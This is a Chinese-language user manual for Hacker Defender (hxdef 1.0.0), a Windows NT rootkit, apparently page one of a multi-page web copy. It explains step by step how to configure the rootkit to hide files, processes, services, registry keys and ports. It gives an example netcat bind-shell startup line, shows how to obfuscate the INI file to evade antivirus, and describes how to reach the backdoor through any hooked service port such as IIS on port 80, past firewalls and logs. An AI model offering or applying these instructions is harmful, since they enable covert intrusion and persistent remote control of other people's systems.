|
=============[Hacker defender -中文使用说明]================
NT Rootkit ----------
作者: Holy_Father <holy_father@phreaker.net> Ratter/29A <ratter@atlas.cz> 版本: 1.0.0
开发日期: 01.01.2004
网站: http://rootkit.host.sk, http://hxdef.czweb.org
开发群: ch0pper <THEMASKDEMON@flashmail.com> aT4r <at4r@hotmail.com> phj34r <phj34r@vmatrics.net> unixdied <0edfd3cfd9f513ec030d3c7cbdf54819@hush.ai> rebrinak GuYoMe ierdna <ierdna@go.ro> Afakasf <undefeatable@pobox.sk>
说明: Czech & English by holy_father French by GuYoMe Chinese by Ziqi
=====[1,目录]==============================================
1. 目录 2. 概要 2.1 关于 2.2 申明 3. 使用说明 4. Ini文件说明 5. Backdoor 5.1 Redirector 6. 技术支持 6.1 版本 6.2 钩子API函数 6.3 已知的 bugs 7. Faq 8. 文件
=====[ 2. 关于]================================================ Hacker defender (hxdef)是一个使用于Windows NT 4.0, Windows 2000 以及Windows XP操作系统的一个NTROOKIT,它也能运行于之后的基于NT的操作系统。主要代码是由DELPHI 6完成。新的功能使用汇编书写。驱动代码由C完成。后门和redirector客服端大部分使用 Delphi 6完成。 =====[ 2.1 概要 ]============================================= 程序的主要功能是在所有运行中的进程中重写分割内存,重写一些基本的模块改变进程的状态,它几乎能够改写所有不影响系统稳定和正在运行中的进程。 程序能够完全隐藏,现在能够做的有隐藏文件、进程、系统服务、系统驱动、注册表的键值和键、开放端口以及虚构可用磁盘空间。程序同时也在内存中伪装它所做的改动,并且隐蔽地控制被隐藏进程。程序安装后能构造后门、注册表、系统服务,构造系统驱动。其本身的后门技术允许其植入 redirector。 =====[ 2.2 申明]==================================================== 本项目1.0.0版本是开发源代码。 使用Hacker defender所造成的后果作者本人概不负责。
=====[ 3. 用法 ]================================================== 一个使用hxdef的简单例子:
>hxdef100.exe [inifile] 或者 >hxdef100.exe [switch] 直接执行EXE文件,不带任何的参数时候,默认的inifile文件为程序名.ini 。
当你执行hedef100不指定ini文件,或者你以参数模式运行时候,默认的文件是
hxdef100.ini。
下面的参数是有效的: -:installonly - 只安装服务,不运行 -:refresh - 从INI文件中更新设置 -:noservice - 正常运行不安装服务 -:uninstall - 移除hxdef删除所有运行的后门连接,同时停止hxdef服务
例如: >hxdef100.exe -:refresh
Hxdef拥有默认INI文件,但是我们强烈的推荐你建立自己的ini文件。关于ini文件的介绍可以看第4部分ini文件部分。 参数 -:refresh and -:uninstall 来源于本来的EXE文件。这就意味这你只要知道hxdef的运行路径和EXE名,就能够改变它的设置或者进行移除工作。
=====[ 4. Ini文件 ]============================================ ini文件必须包含了9个部分: [Hidden Table], [Root Processes], [Hidden Services], [Hidden RegKeys], [Hidden RegValues], [Startup Run], [Free Space], [Hidden Ports]和[Settings]。
在 [Hidden Table], [Root Processes], [Hidden Services]和[Hidden RegValues] 中能够使用*代替后面的字符,星号仅仅使用于字符的后面,任何在*之前的都是无效的。所有的在字符之前和之后的空格也是无效的。
例如: [Hidden Table] hxdef*
将开始隐藏所有在Hidden Table中以"hxdef"开头的文件、文件夹和系统进程。
在该文件列表中的所有文件和文件夹都将在文件管理器中消失。在这个列表中的程序也会在任务管理器中被隐藏。必须确保主要文件,INI文件,你的后门文件和驱动文件被包含在列表中。 在程序列表中的主进程对感染具有免淤能力,你只能利用这些主程序才能看见隐藏的文件,文件夹和程序。所以,主进程是为rootkit管理员所使用的。 由服务和驱动所组成的Hidden Services列表将会隐藏在数据库中的安装服务和驱动。rootkit主程序的服务名默认为HackerDefender100,rootkit驱动的驱动名默认为HackerDefenderDrv100。它们两者都可以通过ini文件进行修改。
Hidden RegKeys中列出的注册表键值将会被隐藏,Rootkit在注册表中有四个键值:默认的是HackerDefender100, LEGACY_HACKERDEFENDER100, HackerDefenderDrv100, LEGACY_HACKERDEFENDERDRV100 如果你要重新命名服务名或者驱动名,你需要在列表中做相应的改变。 开始2个键值是和你的服务据用相同名字的,接下来的键值是LEGACY_名字。例如,如果你改变你的服务名称为BoomThisIsMySvc ,那么在注册表中,应该是这样表示的,LEGACY_BOOMTHISISMYSVC。
在Hidden RegValues列出的注册表的值将会被隐藏。
Startup Run列表中列出的是rootkit程序运行之后的自启动程序。这些程序和ROOTKIT具有一样的特权。程序名和它后面的参数以?分开。不要使用"字符,程序将会在用户登陆以后终止,在用户登陆以后可以使用一般和常见的方法。你可以使用下面这些快捷方式。 %cmd%标准系统的shell和路径 %cmddir%标准系统的shell文件夹 %sysdir% - 系统文件夹 (e.g. C:\winnt\system32\) %windir% - 标准系统文件夹 (e.g. C:\winnt\) %tmpdir% - 临时文件夹 (e.g. C:\winnt\temp\)
例如: 1) [Startup Run] c:\sys\nc.exe?-L -p 100 -t -e cmd.exe nc-shell将会在rootkit运行以后监听100端口
2) [Startup Run] %cmd%?/c echo Rootkit started at %TIME%>> %tmpdir%starttime.txt 将rootkit启动时间保存在系统临时文件夹夹starttime。Txt文件。 (%TIME%仅仅运行于Windows2000以上的操作系统。)
Free Space中列出的驱动硬盘名和容量大小是你想增加的硬盘,它的格式是X:NUM,其中X表示磁盘驱动器的名称,NUM表示你要增加的磁盘的容量。
例如: [Free Space] C:123456789 这将在C盘增加大约123M的磁盘空间。
Hidden Ports中列出的是你需要隐藏程序的端口,比如使用OpPorts, FPort, Active Ports, Tcp View等的程序,它最多拥有2行。第1行的格式是TCP:tppport1,tcpport2,tcpport3 ,第2行的格式是UDP:udpport1,udpport2,udpport3 ...
例如: 1) [Hidden Ports] TCP:8080,456
这将隐藏2个TCP端口:8080和456 2) [Hidden Ports] TCP:8001 UDP:12345 这将隐藏2个端口:TCP的8001和UDP的12345。
3) [Hidden Ports] TCP: UDP:53,54,55,56,800 隐藏5个端口,都为UDP端口:53,54,55,56,800。
Settings包含了8个值:Password, BackdoorShell, FileMappingName, ServiceName,ServiceDisplayName, ServiceDescription, DriverName 和 DriverFileName。 名。 16位字符的Password被用于后门链接和转向,密码能根据短一些,余下的用空格代替。 BackdoorShell是复制于系统的SHELL文件,它被后门创建于一个临时的目录下。 FileMappingName,当钩子进程被存储时,用于共享内存。 ServiceName是rootkit服务 ServiceDisplayName为rootkit显示的服务 ServiceDescription位rootkit的服务描述 DriverName以hxdef驱动命名 DriverFileName以hxdef驱动文件命名
例如;
[Settings] Password=hxdef-rulez BackdoorShell=hxdef?.exe FileMappingName=_.-=[Hacker Defender]=-._ ServiceName=HackerDefender100 ServiceDisplayName=HXD Service 100 ServiceDescription=powerful NT rootkit DriverName=HackerDefenderDrv100 DriverFileName=hxdefdrv.sys 这就意味着你的后门密码为hxdef-rulez,后门将复制系统shell文件(通常是CMD.EXE)为hxdef?.exe到临时目录。共享内存将变为"_.-=[Hacker Defender]=-._",服务名为"HackerDefender100",它显示的名称为"HXD Service 100",它的描述为"poweful NT rootkit",驱动名为"HackerDefenderDrv100",驱动将被存储于一个叫做"hxdefdrv.sys"的文件中。
扩展字符|, <, >, :, \, / 和 "在所有的行中都会被忽略,除了[Startup Run], [Free Space] 和 [Hidden Ports] 项目和在 [Settings] 中first = character后面的值。使用扩展字符能然你的INIFILE文件摆脱杀毒软件的查杀。 例如: Example: [H<<<idden T>>a/"ble] >h"xdef"*
和下面的是一样的。 [Hidden Table] hxdef* 更多的例如可以参照hxdef100.ini 和hxdef100.2.ini文件。 所有的在ini文件中的字符串除了那些在Settings 和 Startup Run中的,都是无效的。
=====[ 5. Backdoor ]========================================= Rootkit程序 Hook了一些API的功能,连接接收一些来自网络的数据包。如果接收的数据等于256个字节,密码和服务被确认,复制的SHELL被临时创建,这种情况建立以后,下一次的数据接收被重定向到这个SHELL上。 因为rootkit程序 Hook了系统中所有进程,所有在服务器上的TCP端口都将变为后门。例如,如果目标主机开放了提供HTTP服务的80端口,这个端口也能作为一个有效的后门。例外的是这个开放端口的进程不会被Hook,这个后门仅仅工作于服务器的接收缓冲大于或者等于256个字节。但是这个特征几乎适合于所有标准的服务,像IIS,APACHE,ORACLE等。后门能够隐藏是因为所有的数据都通过系统上面提供的服务转发。所以你不能使用一些简单的端口扫描软件找到它,并且它能轻易的穿过防火墙。
在测试发现IIS服务过程中,HTTP服务不能记录任何的连接日记,FTP和SMTP服务器仅仅能记录结束的断开连接。所以,如果你运行hxdef在有IIS Web服务的服务器上面,HTTP端口跟你是连接机器使用的后门的最好端口。 如果你想连接后门的话,你将不得不使用使用一些特别的客户端,程序bdcli100.exe就是被用于如此的。
用法:bdcli100.exe host port password 例如: >bdcli100.exe www.windowsserver.com 80 hxdef-rulez 连接服务器www.windowsserver.com使用默认的密码。客户端1.0.0版本不兼容其他老的版本。
=====[ 5.1 Redirector ]==========================================
Redirector是基于后门技术。第一个连接包和后门连接一样。这就意味着你能使用相同的端口。下一个包是仅仅为Redirector特殊的包,这些包由基于运行用户电脑的重定向器生成.第一个重定向的包连接特定的目标主机和端口。
Redirectors的设置保存在与EXE文件同名的INI文件中(所以默认的是rdrbs100.ini)。如果这个文件不存在,那么在EXE文件运行的时候它会自动建立一个。最好不要额外的修改INI文件。所有的设置都可以在console中进行改变。
当ROOTKIT被安装时,如果我们需要使用服务器上面的redirectors功能,我们首先要在本地运行程序。在控制台上我们可以在有HXDEF的服务器上面建立一个映射端口路由。最后我们连接本地端口并且转换数据。转向的数据被rootkit的密码加密。在这个版本中连接的速度被限制在256K左右。在这个版本中redirectors并不适合于高速连接。Redirectors也会受到安装有rootkit的服务器的限制,而且Redirectors仅仅使用TCP协议连接。在这个版本中Redirectors base有19条命令,他们并不是非常的敏感。关于功能的详细描述可以使用HELP命令。在Redirectors base启动时,startup-list中的命令也被执行。startup-list中的命令可以用使用SU启动的CMD进行编辑。
Redirector区分于2种连接类型(HTTP和其他)。如果连接是其他类型的,数据包将不会被改变。如果是HTTP类型,在HTTP文件头的HOST参数将会改变为目标服务器。一个base的最大Redirector数量是1000。 Redirector仅仅适用于NT结构,只有在拥有图标的NT程序下你才能使用HIDE命令隐藏控制台。只有在NT下才能无声无息的运行,没有数据输出,没有图标,仅仅执行startup-list中的命令。
[1] [2] 下一页 |